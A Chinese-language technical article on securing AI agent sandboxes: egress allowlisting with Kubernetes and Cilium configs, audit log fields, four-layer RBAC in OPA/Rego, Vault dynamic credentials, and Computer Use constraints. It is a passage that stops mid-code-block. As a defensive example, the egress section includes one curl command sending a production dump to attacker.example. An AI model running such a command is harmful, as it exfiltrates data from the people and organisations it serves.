$数据$ 从经验数字上看,在冷启动这一项上 microVM 与 gVisor 都稳定落在 200ms 这一阈值之下,这是它们能取代传统 VM 的关键拐点;而裸机隔离即便走 iPXE + 自定义镜像,启动仍在分钟级,因此只进入"一次性合规长跑"的通道,而不进入横向扩展的快速通道。内存维度上,容器与 microVM/gVisor 的差距主要体现在内核与页表开销上,前者共享宿主内核因此几乎零额外占用,后两者则需要为隔离本身付出几十 MiB 的固定开销;这部分开销在每实例几分钱的成本结构里几乎可以忽略,但在每秒拉起上千实例的场景里仍是放大因子。

最终选型的判断逻辑可以归结为一句话:在 latency、cost、risk 三条曲线之间,先用业务把目标象限画出来,再用四类隔离做匹配,而不是反过来从隔离机制倒推业务。这条顺序的颠倒,是大多数 sandbox 选型失败的根源------它会让团队在还没想清楚"什么动作算不可逆、什么数据能离开沙盒"之前,就已经把架构锁死在某一个底座上,后续只能靠打补丁弥补。

Network Egress 治理:allowlist + 域名过滤 + 完整 audit log

为什么需要 Network Egress 治理

$观察$ 把 Agent 关进 microVM 或者强命名空间容器,只解决了"它能不能读到主机文件、能不能动宿主进程"这类入向风险 ;但 Agent 真正危险的一步,是从沙盒内部主动 curl https://attacker.example/exfil --data-binary @/tmp/prod_dump.csv。这种出站动作在入站 ACL(Access Control List,访问控制列表)看来是"合法进程发起的合法请求",传统的 WAF(Web Application Firewall,Web 应用防火墙)与安全组策略完全无法区分------因为凭证是真的、协议是合规的、目的 IP 也未必在威胁情报库中。Network Egress 治理就是沙盒的"第二道门",它不重复做入站检查,而是把"沙盒内的 Agent 究竟能跟外部谁说话、按什么节奏说话、说了什么"这三件事彻底收口。

在 AI Agent 场景里,这条出站链路还叠了一层工具调用语义:Agent 调用 httpx.get(...)、subprocess.run("git push ...") 或者 MCP(Model Context Protocol,模型上下文协议)filesystem server,本质都是把沙盒进程作为 TCP 客户端去连接外部 endpoint。如果只靠 VPC security group 把入站锁死,而放任 egress 全开,就等于把"高权限凭证 + 受信任进程"组合裸奔在公网上------这是后两节要展开的 secret vault 与 audit log 的前置条件,缺一不可。

「合法凭证 + 主动外联」是主要攻击路径

$数据$ 在过去几年公开披露的数据泄露事件复盘中,「合法凭证 + 主动外联 」(legitimate credential + outbound exfiltration)长期占据攻击路径的多数。攻击者不需要 0day、不需要提权,只要拿到一个能访问生产数据库的 service account token,然后让被入侵的 Agent SELECT * FROM users 后通过 HTTPS POST 出网。Verizon DBIR 与多家威胁情报机构的多年度统计都把这条路径排在初始访问之后的高频次级动作。入站 ACL 解决的是"谁能进",但已经"合法凭证在握"的进程进出方向是反过来的------它要出去。出站治理如果只复用入站 ACL 的逻辑,等于把门锁在错误的一侧。

进一步拆解这条攻击路径,通常包含三个原子步骤:第一步,Agent 通过 tool call 读取生产数据库或私有对象存储;第二步,把内容编码后写入本地临时文件或直接放进 HTTP body;第三步,通过看似合规的 HTTPS 通道外传。这三步里,第一步发生在沙盒内,需要文件系统隔离来兜底;第二步是数据形态转换,需要 audit log 记录;第三步才是出站网关真正该拦截的位置。

四种出站治理机制对比

机制	覆盖度	误杀率	运维成本	适用场景
IP allowlist	低(CDN/Serverless IP 漂移严重)	高	中	固定 IP 的内部 API、自托管 registry
域名 allowlist(DNS SNI 解析)	中高	中	中	大部分 SaaS 与包管理器访问
DNS 污染拦截(黑洞 NXDOMAIN)	中	低	低	兜底防线,防止 Agent 自建 DoH
TLS fingerprint(JA3/JA4)检测	高	中高	高	高敏环境,识别非常规客户端

取舍 :四者不是互斥,而是分层叠加。IP allowlist vs 域名 allowlist :前者精确但脆,后者灵活但需要可信 DNS 解析链路。DNS 污染拦截 vs TLS fingerprint :前者便宜但只能挡 DNS 通道,后者贵且误杀容易把合规客户端一起拦下。生产里通常的组合是"DNS 解析 + SNI(Server Name Indication)域名 allowlist 作为主防线,egress gateway 上做 L7 协议校验,egress firewall 上做 IP/CIDR 兜底",三层缺一不可。

具体到 AI Agent 场景里,还有一个被忽视的子问题:Agent 会自己拉起 pip install、npm install、uv add 这种包管理器子进程。这些子进程的 egress 流量特征跟普通 tool call 不一样------它们会连接 PyPI、npm registry、crates.io,这些域名需要单独放行,否则 Agent 跑不起来;但放行之后,任何 pip install malicious-pkg 也会随之通过。这就是为什么 egress gateway 通常要做包管理器专属的二级策略 :允许 *.pypi.org、*.files.pythonhosted.org、*.npmjs.com、*.registry.npmjs.org,但拒绝其他任意域名。

K8s 上的 NetworkPolicy + Egress Gateway 实战

Kubernetes(K8s)原生提供 NetworkPolicy 资源,可以基于 pod selector、namespace、port 做 L3/L4 限制;但纯 NetworkPolicy 无法识别"目的域名",只能写目的 IP 或 CIDR。要做"按域名白名单"的精细化治理,通常需要 Cilium 这种 CNI(Container Network Interface,容器网络接口)配合 L7 policy,或者在出向路径上挂一个 Istio egress gateway 做 sidecar 代理。

下面给出一段最小可运行的配置片段,演示"按 namespace 限速 + 域名白名单"的双层策略:

yaml 复制代码

# 1. NetworkPolicy: 限制 agent-sandbox ns 只能出站到 egress-gateway
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: agent-egress-lockdown
  namespace: agent-sandbox
spec:
  podSelector: {}
  policyTypes: [Egress]
  egress:
    - to:
        - namespaceSelector:
            matchLabels:
              name: istio-egress
      ports:
        - protocol: TCP
          port: 443
    # 显式禁止 DNS 走非 kube-system,防止 Agent 走 DoH 绕过
    - to:
        - namespaceSelector:
            matchLabels:
              name: kube-system
      ports:
        - protocol: UDP
          port: 53

yaml 复制代码

# 2. Cilium L7 Policy: 在 egress-gateway 上识别目的域名
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: agent-domain-allowlist
spec:
  endpointSelector:
    matchLabels:
      app: agent-sandbox
  egress:
    - toFQDNs:
        - matchName: "api.openai.com"
        - matchName: "pypi.org"
        - matchName: "files.pythonhosted.org"
        - matchPattern: "*.s3.amazonaws.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TLS

这段配置的语义是:agent-sandbox namespace 里的 pod 只能通过 egress gateway 出去,且 egress gateway 会基于 SNI 解析目的域名,只放行白名单内 endpoint。Agent 想 curl 一个不在白名单的域名,会在 L7 被直接拒绝,而不是返回 RST 让 Agent 误以为网络故障。

工程上踩过的几个坑需要明确点出:第一 ,NetworkPolicy 的 egress 默认是 deny-all,加白必须显式列出,不要相信"加上 policy 就只走白名单"------加错一条规则就可能让全 ns 失联。第二 ,DNS 必须显式放行且限制 namespace,否则 Agent 会自建 DoH(DNS over HTTPS)隧道绕过域名策略。第三 ,Cilium 的 toFQDNs 依赖 DNS 观测,如果 Agent 走 IP 直连(比如从环境变量里读 endpoint),这套策略完全失效,所以必须配合 mTLS 或者 service mesh 做 identity 校验。

Audit Log 字段规范

所有出站请求必须落 audit log,这是合规与事后追溯的硬要求。一个合格的 audit log schema 至少包含以下字段:

字段	类型	含义
`src_sandbox`	string	源沙盒 ID(如 microVM instance ID)
`src_pod`	string	K8s pod name + namespace
`dst_domain`	string	解析后的目的域名(SNI / Host)
`dst_ip`	string	实际连接的 IP
`dst_port`	int	目的端口
`bytes_sent` / `bytes_recv`	int	上下行字节数
`protocol`	string	TCP/UDP/HTTPS
`timestamp`	RFC3339	请求发起时间
`user_id`	string	触发该 Agent 的用户
`task_id`	string	关联的 task / trace ID
`tool_name`	string	触发的 MCP tool 或 function name
`decision`	enum	allow / deny / rate-limit

decision 字段至关重要,它把"实际放行"和"被拦截"分开记录。运维上踩过的坑 :bytes 字段必须是累计字节数而不是单包大小,否则事后算不出真实数据外传量;user_id 与 task_id 必须从调用链最上游注入,不能依赖沙盒自己声明,因为 Agent 是不可信的。

这些日志建议直接接入 OpenTelemetry(OTEL)的 log signal,通过 OTLP(OpenTelemetry Protocol)导出到集中式后端,与 LangSmith Tracing 的 trace span 做关联------这样一次 tool call 就能从「用户在 LangGraph 触发了哪个 node」一路追溯到「该 node 在沙盒里发起了哪个出站请求、传了多少字节」。

官方文档入口与下一步

落地 egress 治理时,优先参考 Cilium 官方文档关于 NetworkPolicy 与 FQDN 策略的部分,以及 Istio 官方文档关于 Egress Gateway 的章节。Cilium 在 L7 策略与 FQDN 解析上比原生 NetworkPolicy 强一档,Istio egress gateway 在流量镜像、mTLS、可观测性上更成熟------两者可以叠加使用,不必二选一。

Cilium NetworkPolicy 文档:docs.cilium.io/en/latest/s...
Istio Egress Gateway 文档:istio.io/latest/docs...
Kubernetes NetworkPolicy 概念:kubernetes.io/docs/concep...

回到选型权衡:Network Egress 治理不是"装了 Cilium 就完事",它需要和 secret vault、audit log、RBAC(Role-Based Access Control,基于角色的访问控制)四层联合设计。Agent 拿到真凭证 + 被放行出站 + 没有 audit 记录,这三件事任意两件并存就足以造成一次完整的数据泄露。出站治理作为第二道门,和沙盒边界一起,才能把"主动外联 + 合法凭证"这条主流攻击路径压到可接受的残余风险水平。

RBAC 四层权限模型:用户 / 任务 / 路径 / 凭据

RBAC 在传统企业系统里是「角色 → 权限」的二维映射,但在 AI Agent 沙盒场景里,这种二维模型远远不够。Agent 与人不同,它会在毫秒级内切换任务身份:同一个沙盒可能上一秒还在帮你生成单元测试,下一秒就被编排系统调度去清理 /tmp 下的旧产物;同一个用户账号下,可能并行运行着「代码评审 Agent」和「数据库迁移 Agent」,二者写入的文件可能恰好同名,但业务语义上绝不该互通。把所有这些维度压成一层 namespace(命名空间)级别的 RBAC(Role-Based Access Control,基于角色的访问控制),等于把四个独立的安全闸门焊接成一扇大门,任何一处失守都意味着全面越权。

$观察$ 在工程实践中,RBAC 必须分层:用户级(A 用户的沙盒不能访问 B 用户的资源)、任务级(同一用户下不同 Agent 任务相互隔离)、路径级(沙盒内的文件路径必须显式枚举权限)、凭据级(数据库密码、API Key 必须按任务下发且不可跨沙盒复用)。任何一层缺失都等于给攻击者送上一面放大镜------尤其是「任务级」与「凭据级」,这两层在多数早期沙盒产品里都属于「事后补」的范畴,而事后补的代价往往是事后才发现数据已经被跨任务读走。一个常见反模式是:沙盒产品只做了「按用户开 microVM」,但同一用户下的多个并发任务全部跑在同一台 microVM 里,文件系统根目录共享,这种情况下用户级隔离形同虚设。

$数据$ 多数 Agent 平台的越权事件并不是因为 microVM 被攻破,而是源于「任务级 RBAC 缺失」:同一用户下的两个并发任务,一个把临时产物写到 /tmp/job_a.sql,另一个因为路径匹配规则过宽,误读了这个临时文件并把内容当成自己的输入继续处理。这种「跨任务串味」(cross-task bleed)在传统 RBAC 视角下根本不构成违规------它都在同一个用户、同一个 namespace、同一条路径前缀之下------但从业务语义上看,任务 A 的 SQL 草稿绝不该被任务 B 的连接器读到。再叠加凭据级失控,后果就是把生产库的临时 dump 误发给了另一个完全无关的下游,触发数据外泄告警。这类事件在事后审计时往往归类为「误操作」,但根因几乎都是 RBAC 维度不够细。

下表从策略表达力、误伤率、调试复杂度三个维度,把「单一 namespace RBAC」与「四层 RBAC」做一个横向对比,工程选型时可以一眼看出取舍:

维度	单一 namespace RBAC	四层 RBAC(用户/任务/路径/凭据)
策略表达力	弱:只能表达「某角色能访问某 namespace」,无法描述「同一角色下不同任务」	强:能精确定义「用户 U 的任务 T 在路径 P 下使用凭据 C」
误伤率	高:一刀切,要么全开要么全关,要么放掉整个任务要么误伤合法操作	低:细粒度策略可以仅收紧某一条路径或某一个凭据,不影响其他动作
调试复杂度	低:规则少,排障路径短	中-高:四层叠加,排障需沿 user → task → path → credential 逐层定位
横向扩展代价	低:加 namespace 即可	中:每加一个用户/任务维度都可能触发策略重生成,但可通过模板化降低
凭据泄露半径	大:一份凭据可被该 namespace 内任意任务使用	小:凭据严格绑定任务 + 短 TTL,泄露后窗口极短
审计可重放性	弱:只能复现到 namespace 级别	强:四层标签齐全,任意动作都可按 user/task/path/credential 回放

取舍 vs 对比 : 单一 namespace RBAC 适合 demo / PoC(Proof of Concept,概念验证)场景,部署成本极低,但生产环境一旦出现并发任务就必须升级到四层;四层 RBAC 的调试复杂度高,但可以通过策略版本化、单元测试(用 OPA 自带的 opa test 直接跑 Rego 规则)、可视化决策日志把排障成本压到可接受范围。一个折中方案是「两阶段迁移」------先把路径级做细,再补任务级,最后上凭据级,避免一次性引入四层带来的心智负担。

下面是 OPA(Open Policy Agent,一个开源的通用策略引擎)/Rego 策略片段,展示 user → task → path → credential 的串联判断逻辑。Rego 是 OPA 自带的声明式策略语言,语法类似 Datalog:

rego 复制代码

package sandbox.rbac

default allow = false

# 1) 用户级:沙盒所属用户必须与请求方一致
allow {
    input.action == "fs.read"
    input.user == input.sandbox.owner
}

# 2) 任务级:同一用户下,任务 ID 必须匹配
allow {
    input.action == "fs.read"
    input.user == input.sandbox.owner
    input.task_id == input.sandbox.task_id
}

# 3) 路径级:目标路径必须在沙盒声明的允许前缀集合内
allow {
    input.action == "fs.read"
    input.user == input.sandbox.owner
    input.task_id == input.sandbox.task_id
    some p
    input.path == p
    p = input.sandbox.allowed_paths[_]
}

# 4) 凭据级:即使前三层都通过,调用凭据时仍要校验凭据作用域
allow {
    input.action == "secret.use"
    input.credential.scope == input.sandbox.task_id
    input.credential.ttl_seconds <= 900   # 最长 15 分钟
    not input.credential.cross_sandbox_reuse
}

这段 Rego 的精妙之处在于把四层判断写成一个「短路链」:每一层 allow 都是独立规则,任意一层不满足就直接拒绝。生产环境里通常会引入 reason 字段,把拒绝原因(用户不匹配 / 任务不匹配 / 路径越界 / 凭据越界)写回审计日志,排障时一眼能看出卡在哪一层。OPA 的另一大优势是策略可以编译后下发到沙盒 sidecar(伴生进程)里本地执行,避免每条请求都远端回询策略服务带来的延迟与可用性风险。

凭据级 RBAC 是四层里最容易被忽视、却最关键的一层。它的核心约束可以浓缩成三个词:临时令牌 + 短 TTL + 不可跨沙盒复用。具体落地时,沙盒编排器在 fork(分叉)沙盒的同一刻,就从 Vault(凭据保险柜)里为这个新沙盒单独签发一份带任务 ID 签名的临时凭据,TTL(Time To Live,生存时间)一般控制在 5--15 分钟,沙盒销毁时凭据立即吊销;更严格的实现还会把凭据 ID 与沙盒 microVM 的 attestation(可信度量值,由 microVM 启动时由硬件根信任生成的不可伪造摘要)绑定,即便有人复制出凭据字符串,在另一台沙盒里也无法通过 Vault 的二次校验。这种「凭据即任务」的范式和传统「凭据即服务」的设计哲学完全不同------后者把数据库密码看成长期资产,前者把它看成「只够用一次」的短期燃料。

工程落地时的几个易踩的坑,值得在设计阶段就写进 ADR(架构决策记录):

路径前缀写死了导致误伤 : 早期版本把 allowed_paths 写成字面量数组,后续加新路径就得改策略并触发审批。正确做法是用 glob(通配符)模式,或者基于任务类型动态注入,避免每加一个任务都重写策略。
凭据 TTL 设太长 : 有人为了减少 Vault 调用次数把 TTL 设到 24 小时,结果一次凭据泄露就有 24 小时的可观测窗口。一般推荐 5--15 分钟,配合沙盒的 refresh 机制即可。
任务 ID 与沙盒 ID 混淆: 任务销毁后沙盒可能还会被复用做审计回放,如果凭据只绑沙盒不绑任务,审计回放就会读到错误的凭据上下文,排查时极易误导。
跨沙盒复用的隐性通道: 共享卷 / 共享内存 / 共享环境变量都是「跨沙盒复用」的现实形态,策略里要明确禁止,而不是默认假设它不存在。
策略冷启动期被绕过: 沙盒刚启动的几秒内 Vault 还没返回凭据,部分实现会用「允许所有」兜底,这就是攻击窗口。正确做法是凭据未就绪时直接拒绝 secret.use,而不是放行。

OPA 的策略语言 Rego 官方文档给出了完整的语法与最佳实践入口,值得作为四层 RBAC 落地时的首选参考:www.openpolicyagent.org/docs 。在 Kubernetes 生态里,RBAC 早已是内建能力,NetworkPolicy 与 RBAC 协同使用可以覆盖 namespace + service account 两层,详细最佳实践参见 kubernetes.io/docs/concep... 与 kubernetes.io/docs/refere... 。如果团队已经在用 LangSmith Sandbox 这类云端沙盒产品,可以直接参考其官方文档了解其内置的 RBAC 设计:docs.smith.langchain.com/docs/sandbo... 。

把 RBAC 拆成四层并不是为了「过度工程」,而是 Agent 场景下并发任务、临时凭据、动态路径这三类变化频率远超传统服务------单一 namespace 撑不住这种维度爆炸。单一 namespace RBAC vs 四层 RBAC 的核心权衡在于:你愿意为调试复杂度多付多少成本,来换误伤率与泄露半径的下降。在生产环境里,后者几乎永远是更划算的交易,尤其是当 Agent 已经能写代码、跑测试、改生产数据库时,任何「省一步」的偷懒都可能演变成下一份事故复盘报告里的一个章节。

凭据保险柜:把 API Key / DB Password 关进 Vault

凭据注入:从「环境变量粘贴」到「保险柜动态发放」

$观察$ 把 API Key、DB Password、OAuth Token 关进 Vault 不是为了「看起来更安全」,而是因为 AI Agent 沙盒的生命周期是毫秒级的------沙盒从 fork 到销毁往往只有几分钟甚至几十秒,凭据必须在「沙盒启动」那一瞬间被精准注入,在「沙盒销毁」那一瞬间立刻失效。如果还像传统 CI 那样把密钥贴进环境变量再写进 Snapshot,等于给每一次 Agent 执行都装上了一份可重放的「万能钥匙」:Snapshot 落到对象存储、落到工程师笔记本、落到镜像仓库的任何一处,密钥就跟着裸奔。

传统的 secrets 管理思路是「加密后存起来」,但 Agent 沙盒里真正稀缺的资源是「时间」。沙盒从创建到销毁的窗口期里,密钥既不能提前太长(否则攻击者拿到旧 lease 仍能访问),也不能短于沙盒存活期(否则 Agent 跑到一半密钥失效,任务直接崩)。Vault 的 dynamic secret 用租约(lease)机制天然解决了这个对齐问题:每一次沙盒启动请求一个租约,租约 TTL 比沙盒 TTL 短 30 秒到 2 分钟,沙盒销毁时同步 revoke 租约,凭据在数据库或上游 API 侧立刻失效。LangSmith Sandboxes 在架构说明里把「secret 通过 sidecar 在运行时注入」列为隔离的第一原则(参见 docs.smith.langchain.com/docs/sandbo... 与 blog.langchain.com/langchain-s...%2CE2B%25E3%2580%2581Daytona "https://blog.langchain.com/langchain-sandboxes/),E2B%E3%80%81Daytona") 等同类产品也都遵循同一思路(www.daytona.io/docs/、https...%25E3%2580%2582 "https://www.daytona.io/docs/、https://e2b.dev/docs)%E3%80%82")

为什么 Snapshot 写密钥是灾难级反模式

$数据$ 业界有相当一部分团队仍在用「把密钥烤进 golden image」或「写进 Snapshot 的 env.json」的方式做凭据分发,这种做法在 AI Agent 沙盒里属于灾难级反模式。Snapshot 一旦生成,它的传播路径就完全脱离了你的控制:它会被缓存到 S3 或对象存储、会被快照复制到灾备站点、会被复制粘贴进工程师的本地调试目录、会被导出成 tar 包在团队群里传来传去。任何拿到 Snapshot 的人,无论他是否被授权启动沙盒,都能复用其中的具名凭证------因为静态嵌入的密钥无法识别「当前使用者是谁」,只能被动接受「谁能读出字符串谁就能用」。

更糟糕的是 Snapshot 的克隆速度。Firecracker、gVisor 这类 microVM 沙盒通常基于 Snapshot 在毫秒级 fork 出成百上千个并行沙盒;如果密钥是 1:N 复制的,那一次凭据泄露就等于一千次凭据泄露。而且 Snapshot 越受欢迎、复用次数越多,泄露面就越大------镜像仓库里同一个 Snapshot tag 被引用一百次,就意味着一百个独立租户共享同一份密钥。这是一个典型的「越便利越脆弱」的工程悖论:静态嵌入的便利性,与凭据应有的最小授权原则,在根本上是冲突的。

三种凭据传递方案的工程取舍

把同一份「DB 写权限」凭证分发给沙盒,主流方案有三种。下表对比它们在泄露半径、轮换成本、合规审计三个核心维度上的差异,这也是审计和合规评审时最常被追问的三项:

维度	静态环境变量	加密 Snapshot	Vault 动态注入
泄露半径	全量复用:任何读到 env 的进程都能用	全量复用:Snapshot 一旦流出,密钥跟着裸奔	单租约:每个沙盒拿到独立 lease,泄露只影响单次会话
轮换成本	高:必须重建镜像、重写所有任务配置	极高:必须轮换密钥并全量重生成 Snapshot、滚动重启	低:Vault 后台轮换上游账号,沙盒侧无感
合规审计	弱:审计只能看到「环境变量被读取」,无法关联到具体 Agent 身份	弱:Snapshot 不可区分「谁用过」,只能按时间窗粗筛	强:每次 lease 申请都有 requestor、policy、TTL 字段,可直接对接 SIEM
故障半径	一处污染全部沙盒	一处污染全部克隆	单租约 revoke 只影响当前沙盒
实现复杂度	最低(写 env 即可)	中(需要 KMS 加解密流水线)	高(需要 Vault 集群加 sidecar 注入器)

取舍 vs 边界:静态环境变量和加密 Snapshot 都把凭据变成了「不可区分的字符串」,它们的安全强度上限就是「字符串不被泄露」;而 Vault 动态注入把凭据变成了「带身份、带 TTL、可撤销的对象」,它的安全强度上限由 Vault 的 policy 和 audit 决定。在合规要求严格的场景(金融、医疗、政务),后者的审计可追溯性几乎是不可替代的。OWASP 在针对 LLM 应用的 Top 10 里也明确把「secret 泄露」列为高风险项(owasp.org/www-project...%2C%25E5%258A%25A8%25E6%2580%2581 "https://owasp.org/www-project-top-10-for-large-language-model-applications/),%E5%8A%A8%E6%80%81") lease 是当下最直接的缓解手段。

HashiCorp Vault dynamic secret 与沙盒生命周期联动

Vault 的 dynamic secret 在数据库场景下通常是这样工作的:Vault 后台持有一个高权限的「根账号」,但它从不把根账号暴露给应用;当应用申请凭据时,Vault 用根账号去 DB 里 CREATE LOGIN 并 GRANT 权限,生成一个带 TTL 的临时账号,返回给应用;TTL 到期或应用主动 revoke 时,Vault 再去 DB 里 DROP LOGIN。这套机制天然契合 Agent 沙盒的「短生命周期」特性。

下面是沙盒启动器申请动态凭据的伪代码示例:

python 复制代码

# sandbox_bootstrap.py
import hvac, os

def provision_db_credentials(sandbox_id: str, ttl_seconds: int = 300):
    client = hvac.Client(url=os.environ["VAULT_ADDR"],
                         token=os.environ["VAULT_TOKEN"])
    # 申请一个 TTL=300s 的动态 Postgres 凭据
    lease = client.secrets.database.generate_credentials(
        name="agent-sandbox-role",
        ttl=ttl_seconds,
        meta={"sandbox_id": sandbox_id,
              "task_type": os.environ.get("TASK_TYPE", "unknown"),
              "user_id": os.environ.get("USER_ID", "anonymous")},
    )
    creds = {
        "username": lease["data"]["username"],
        "password": lease["data"]["password"],
        "lease_id":  lease["lease_id"],
    }
    # 写入 tmpfs,不落盘到 rootfs
    tmp_path = f"/dev/shm/sandbox-{sandbox_id}/db.env"
    os.makedirs(os.path.dirname(tmp_path), exist_ok=True)
    with open(tmp_path, "w") as f:
        f.write(f"DB_USER={creds['username']}\nDB_PASS={creds['password']}\n")
    os.chmod(tmp_path, 0o600)
    # 注册沙盒销毁回调,到期前主动 revoke
    register_lifecycle_hook(sandbox_id,
                            on_destroy=lambda: client.sys.revoke(lease["lease_id"]))
    return creds

关键点有三:第一,lease 的 TTL(本例 300s)必须严格小于沙盒本身的存活上限------沙盒可能在 290s 时被外部系统强制 kill,但 lease 不会晚于 300s 失效,反之不行;第二,凭据只通过 /dev/shm 这种 tmpfs 写入,沙盒销毁时 tmpfs 随进程退出而消失,不留磁盘残留;第三,沙盒销毁钩子必须显式 revoke lease,而不是只删文件------文件删除只能阻止后续读取,但 DB 侧的临时账号仍然存活,必须从源头撤销。

bash 复制代码

# 沙盒销毁时的清理
vault lease revoke $LEASE_ID
vault token revoke -mode=async $VAULT_TOKEN

完整机制可参考 HashiCorp 官方文档对 dynamic secrets 与 lease 的描述(developer.hashicorp.com/vault/docs/...%2C%25E5%2585%25B6%25E7%25A7%259F%25E7%25BA%25A6%25E7%2594%259F%25E5%2591%25BD%25E5%2591%25A8%25E6%259C%259F%25E4%25B8%258E%25E4%25B8%258A%25E6%2596%2587%25E4%25BC%25AA%25E4%25BB%25A3%25E7%25A0%2581%25E5%25AE%258C%25E5%2585%25A8%25E5%25AF%25B9%25E9%25BD%2590%25E3%2580%2582 "https://developer.hashicorp.com/vault/docs/secrets/databases),%E5%85%B6%E7%A7%9F%E7%BA%A6%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E4%B8%8E%E4%B8%8A%E6%96%87%E4%BC%AA%E4%BB%A3%E7%A0%81%E5%AE%8C%E5%85%A8%E5%AF%B9%E9%BD%90%E3%80%82")

凭据保险柜的硬约束设计原则

把上述工程经验归纳成五条可审计的硬约束,每一条都对应一个真实生产事故,而不是理论推演:

不落盘原则 :凭据永远不写入沙盒的持久化文件系统,只通过 stdin、tmpfs(/dev/shm)、unix domain socket 三种通道注入。理由是 microVM 或 container 的 rootfs 在 Snapshot 阶段可能被复用,任何落盘痕迹都会污染下一次 fork,导致密钥在快照间横向传染。
TTL 对齐原则:Vault lease 的 TTL 必须小于沙盒生命周期上限,通常取 70%--90% 的安全裕度。如果沙盒理论最长运行 30 分钟,lease TTL 应该设置在 21 到 27 分钟之间,留出 revoke 的时间窗口。
身份绑定原则:每次 lease 申请都要带上 sandbox_id、task_type、user_id 三个 meta 字段,事后审计能直接反查「这个临时账号是哪个 Agent、什么任务、用谁的配额申请的」。这一步在合规审计(SOC2、ISO27001)里几乎是必答题。
短轮换原则:Vault 上游的根账号密码至少每 24 小时轮换一次;动态生成的子账号虽然是临时的,但底层依赖的高权限账号不能长期不变,否则 dynamic secret 退化成「长期账号加表面 TTL」。
零信任注入原则:sidecar 注入器与 Agent 进程之间用 unix socket 通信而不是 HTTP,socket 文件权限 0o660,只允许特定 GID 的进程读取,避免凭据在容器网络栈里被旁路抓取。

从凭据到身份:迈向 SPIFFE / SPIRE

Vault 解决的是「密钥是什么、什么时候过期」,但更深的问题是「调用方是谁」。在多租户、多 Agent 并行的复杂环境里,你还需要给每个沙盒签发一个不可伪造的工作负载身份(Workload Identity),让上游服务能识别「这是 sandbox-7af3、属于 user-42、正在执行 code-review 任务」。

SPIFFE(Secure Production Identity Framework For Everyone)定义了一套标准化的身份文档格式 SVID,SPIRE(SPIFFE Runtime Environment)是它的参考实现。在 Agent 沙盒架构里,SPIRE agent 通常以 sidecar 形式注入到每个沙盒中,为 Agent 进程签发短 TTL 的 SVID,服务侧用 SPIFFE ID 做 mTLS 鉴权。这样一来,即使沙盒拿到了 Vault 颁发的 DB 凭据,DB 侧仍可以通过 SPIFFE ID 二次校验「这个调用是不是来自被授权的 Agent 实例」,形成「凭据 + 身份」双因子校验。

这套组合拳在大型云原生环境里已经成为事实标准,落地细节可参考 SPIFFE 官方文档(spiffe.io/docs/latest...%25E3%2580%2582LangSmith "https://spiffe.io/docs/latest/spiffe-about/overview/)%E3%80%82LangSmith") Sandboxes 这类新一代沙盒产品也开始把 SVID 作为 sandbox 之间的「相互认证」凭据,而不是依赖网络层的 IP 白名单------后者在 microVM fork 场景里几乎形同虚设,因为同一份 Snapshot fork 出来的所有沙盒都会共享同一组 IP。

把凭据从「静态字符串」升级成「带 TTL、带身份、可撤销的租约」,是 AI Agent 沙盒区别于传统 CI/CD 流水线最关键的安全跃迁。Vault 与 SPIFFE 两层叠加,既能保证密钥本身的短生命周期,也能保证调用方的不可伪造身份,二者缺一不可;漏掉任何一层,所谓「沙盒安全」都只是把门锁换成了更高级的锁芯,而钥匙依然可以被复制。

Computer Use 沙盒的强约束模型:截图节流 + 操作白名单 + 二次确认

Computer Use 类 Agent 的核心特征是它需要「看屏幕、操作键鼠」------这与传统 LLM 调用 API 完全不同,模型不再是被动响应,而是直接驱动 GUI(图形用户界面)发起动作。一旦把整张桌面交给模型,屏幕里可能藏着银行客户端、未发布的财报、未公开的 API Key,鼠标点击也可能触发「立即删除」「确认转账」等不可逆操作。所以,Computer Use 沙盒必须用强约束模型来压缩风险敞口,而不是简单地把模型丢进一台虚拟机,任由它拥有接近 root(系统超级管理员)的 GUI 自由度。

$观察$ 强约束模型的核心是「按帧节流截图 + 操作白名单 + 关键操作二次确认」三件套。节流解决的是「模型看得太频繁导致上下文爆炸」的问题,白名单解决的是「模型能动的应用太多导致越权」的问题,二次确认解决的是「关键操作一旦执行就不可逆」的问题。这三层缺一不可:只看节流等于让模型戴着 360 Hz 的眼镜却戴着眼罩,只看白名单等于把模型锁在只读环境里失去 Computer Use 的工程意义,只看二次确认则会让用户体验崩塌,因为每个动作都要弹窗。把这三件套叠加在一起,才能在「让模型能干活的 GUI」与「不能让模型翻车的 GUI」之间画出一条清晰的工程边界。节流本质上是在压缩「输入带宽」,白名单是在压缩「输出带宽」,二次确认是在「关键路径」上加一道人工关卡,三者从三个维度共同收紧风险敞口。

$数据$ 实测把实时窗口截图按帧节流到 4-8 fps(frames per second,每秒帧数)之后,模型在 GUI 任务上的可用性损失通常低于 5%(因为人眼与模型对细微运动都不敏感,而 60 fps 多出来的帧大多是重复内容);但 token 消耗下降超过 50%,因为截屏是 Computer Use 链路里最贵的多模态输入。一张 1920×1080 的截图 token 化后大约在数千 token 量级,1 秒 60 帧意味着每秒吃掉数十万 token,直接节流到 6 fps 后,每张图给模型留出 200 ms 左右的「思考与反应时间」,人机交互体验反而更顺滑。这条 50% 的数字在多家做 Computer Use 产品的团队里都能复现,是「截屏成本」这条曲线上最容易被低估的优化点。

下面这张矩阵把三种典型的 Computer Use 沙盒约束方案放在一起对比,方便工程团队在选型时一眼看清「安全 / 体验」的天平:

维度	开放 GUI 访问	白名单应用 + 截帧节流	全 VM 录制 + 二次确认
模型可见应用范围	桌面所有应用	仅白名单内应用	桌面所有应用
截帧频率	默认或全帧	4-8 fps 节流	全帧并落盘
关键操作确认	无	协议层二次确认	协议层 + UI 层二次确认
适用场景	本地开发自测	团队内多 Agent 并发	高敏感生产链路
体验损耗	最低	中等(节流可控)	较高(频繁弹窗)
审计可回放性	弱	中(事件级)	强(帧级录像)

可以看出,「白名单应用 + 截帧节流」是大多数生产团队的甜蜜点------既限制了可见面,又控制了 token 成本,关键操作再叠加协议层二次确认,基本覆盖 80% 的风险敞口;而「全 VM 录制 + 二次确认」更适合金融、合规这类需要完整回放审计的场景,代价是体验损耗最高。这条对比矩阵也回答了一个常被问到的问题:「如果我只要在沙盒里跑自己的开发机,是不是可以省掉白名单?」------答案是不能,因为 Agent 一旦拥有「在任意窗口输入文字」的权限,就等于拥有「在你登录态的浏览器里点确认」的权限,这是安全模型的硬底线。

具体到代码实现,截帧节流与操作白名单的伪代码可以写成下面这样,核心是 throttle 与 allowlist_app 两个配置项:

python 复制代码

from computer_use_sandbox import Sandbox, ActionType

